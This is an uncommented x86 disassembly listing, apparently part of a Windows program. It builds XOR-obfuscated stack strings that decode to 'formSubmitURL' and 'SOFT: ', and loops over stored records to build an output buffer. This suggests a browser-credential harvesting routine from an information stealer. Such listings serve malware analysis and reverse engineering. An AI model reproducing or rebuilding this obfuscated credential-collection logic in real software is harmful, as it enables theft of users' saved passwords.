mov esi, dword [ebp - 0xb0]
mov cl, 0x32
add esi, edi
mov dword [ebp - 0x95], 0x405d5432
mov dword [ebp - 0x91], 0x5047615f
mov edx, ebx
mov dword [ebp - 0x8d], 0x67465b5f
mov word [ebp - 0x89], 0x7e60
mov byte [ebp - 0x87], bl
xor byte [ebp + edx - 0x94], cl
inc edx
cmp edx, 0xd
jae 0x41f8a2
mov cl, byte [ebp - 0x95]
jmp 0x41f88d
lea eax, [ebp - 0x94]
mov byte [ebp - 0x87], bl
push eax
mov ecx, esi
call fcn.00422967
lea ecx, [ebp - 0x588]
push ecx
mov ecx, eax
call fcn.004229f3
mov esi, eax
lea eax, [ebp - 0x114]
cmp eax, esi
je 0x41f8e3
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0x114]
call fcn.00413478
lea ecx, [ebp - 0x588]
call fcn.0041332b
mov ecx, dword [0x48a8f4]
mov eax, ecx
mov edi, dword [0x48a8f0]
sub eax, edi
push 0xc
cdq
pop esi
idiv esi
mov dword [ebp - 0x1c], ebx
test eax, eax
je 0x41f9b4
mov edx, dword [0x48a8e4]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
cmp dword [edx + eax*4], ebx
jne 0x41f993
mov eax, dword [edi + esi + 4]
sub eax, dword [edi + esi]
cdq
idiv dword [ebp - 0x34]
mov dword [ebp - 0x30], ebx
test eax, eax
je 0x41f990
mov ecx, dword [ebp - 0x28]
mov esi, ebx
mov eax, dword [edi + ecx]
lea ecx, [ebp - 0x114]
add eax, esi
push ebx
push eax
call fcn.0041281a
cmp eax, 0xffffffff
je 0x41f96e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + eax*4], 1
mov eax, dword [0x48a8e4]
mov edi, dword [0x48a8f0]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
add esi, 0x18
inc dword [ebp - 0x30]
mov eax, dword [edi + ecx + 4]
sub eax, dword [edi + ecx]
cdq
idiv dword [ebp - 0x34]
cmp dword [ebp - 0x30], eax
jb 0x41f93c
mov ecx, dword [0x48a8f4]
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
inc eax
add esi, 0xc
mov dword [ebp - 0x1c], eax
mov eax, ecx
sub eax, edi
mov dword [ebp - 0x28], esi
cdq
idiv dword [ebp - 0xb8]
mov edx, dword [ebp - 0x2c]
cmp dword [ebp - 0x1c], eax
jb 0x41f91d
cmp dword [ebp - 0x228], 0x10
lea edx, [ebp - 0x23c]
lea ecx, [ebp - 0x5b8]
cmovae edx, dword [ebp - 0x23c]
call fcn.0041e46e
mov esi, eax
mov byte [ebp - 4], 0x26
cmp dword [esi + 0x14], 0x10
jb 0x41f9e1
mov esi, dword [esi]
cmp dword [ebp - 0x1e0], 0x10
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x5a0]
cmovae edx, dword [ebp - 0x1f4]
call fcn.0041e46e
mov byte [ebp - 4], 0x27
cmp dword [eax + 0x14], 0x10
jb 0x41fa0c
mov eax, dword [eax]
cmp dword [ebp - 0x100], 0x10
lea ecx, [ebp - 0x114]
push esi
cmovae ecx, dword [ebp - 0x114]
mov edx, eax
call fcn.004342bb
pop ecx
lea ecx, [ebp - 0x5a0]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x5b8]
mov byte [ebp - 4], 0x25
call fcn.0041332b
mov cl, 0x19
mov dword [ebp - 0x44], 0x5f564a19
mov dword [ebp - 0x40], 0x39234d
mov edx, ebx
xor byte [ebp + edx - 0x43], cl
inc edx
cmp edx, 6
jae 0x41fa66
mov cl, byte [ebp - 0x44]
jmp 0x41fa57
lea eax, [ebp - 0x43]
mov dword [ebp - 0x2f8], ebx
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x3d], bl
mov dword [ebp - 0x2e8], ebx
mov dword [ebp - 0x2e4], 0xf
mov byte [ebp - 0x2f8], bl
call fcn.0041338c
mov edi, 0x48a910
mov byte [ebp - 4], 0x28
lea edx, [ebp - 0x2f8]
mov ecx, edi
call fcn.004140f6
mov edx, dword [ebp - 0xb4]
mov ecx, eax
call fcn.00413f35
mov edx, 0x486760
mov ecx, eax
call fcn.004140f6
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x25
call fcn.0041332b
mov edx, esi
mov ecx, edi
call fcn.00413f35
inc dword [0x48a8d8]
lea ecx, [ebp - 0x114]
call fcn.0041332b
lea ecx, [ebp - 0x23c]
call fcn.0041332b
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x1c
call fcn.0041332b
mov edx, dword [ebp - 0x24]
inc edx
mov dword [ebp - 0x24], edx
jmp 0x41f0d8
lea ecx, [ebp - 0xb0]
call fcn.00420e4c
mov edi, dword [ebp - 0x144]
push dword [ebp - 0x140]
call fcn.0043e4ae
push edi
call fcn.004433bd
pop ecx
pop ecx
lea ecx, [ebp - 0x354]
call fcn.00420dd0
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 5
call fcn.0041332b
call dword [0x48a8c4]
mov dword [ebp - 4], 4
jmp 0x41fb9c
lea ecx, [ebp - 0xf0]
call fcn.0040be48
mov ecx, dword [ebp - 0xc0]
jmp 0x41e750
test ecx, ecx
je 0x41fbbb
call fcn.0040a717
mov ecx, dword [ebp - 0xec]
test ecx, ecx
je 0x41fbca
call fcn.0040a717
mov ecx, dword [ebp - 0xf8]
test ecx, ecx
je 0x41fbd9
call fcn.0040a717
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret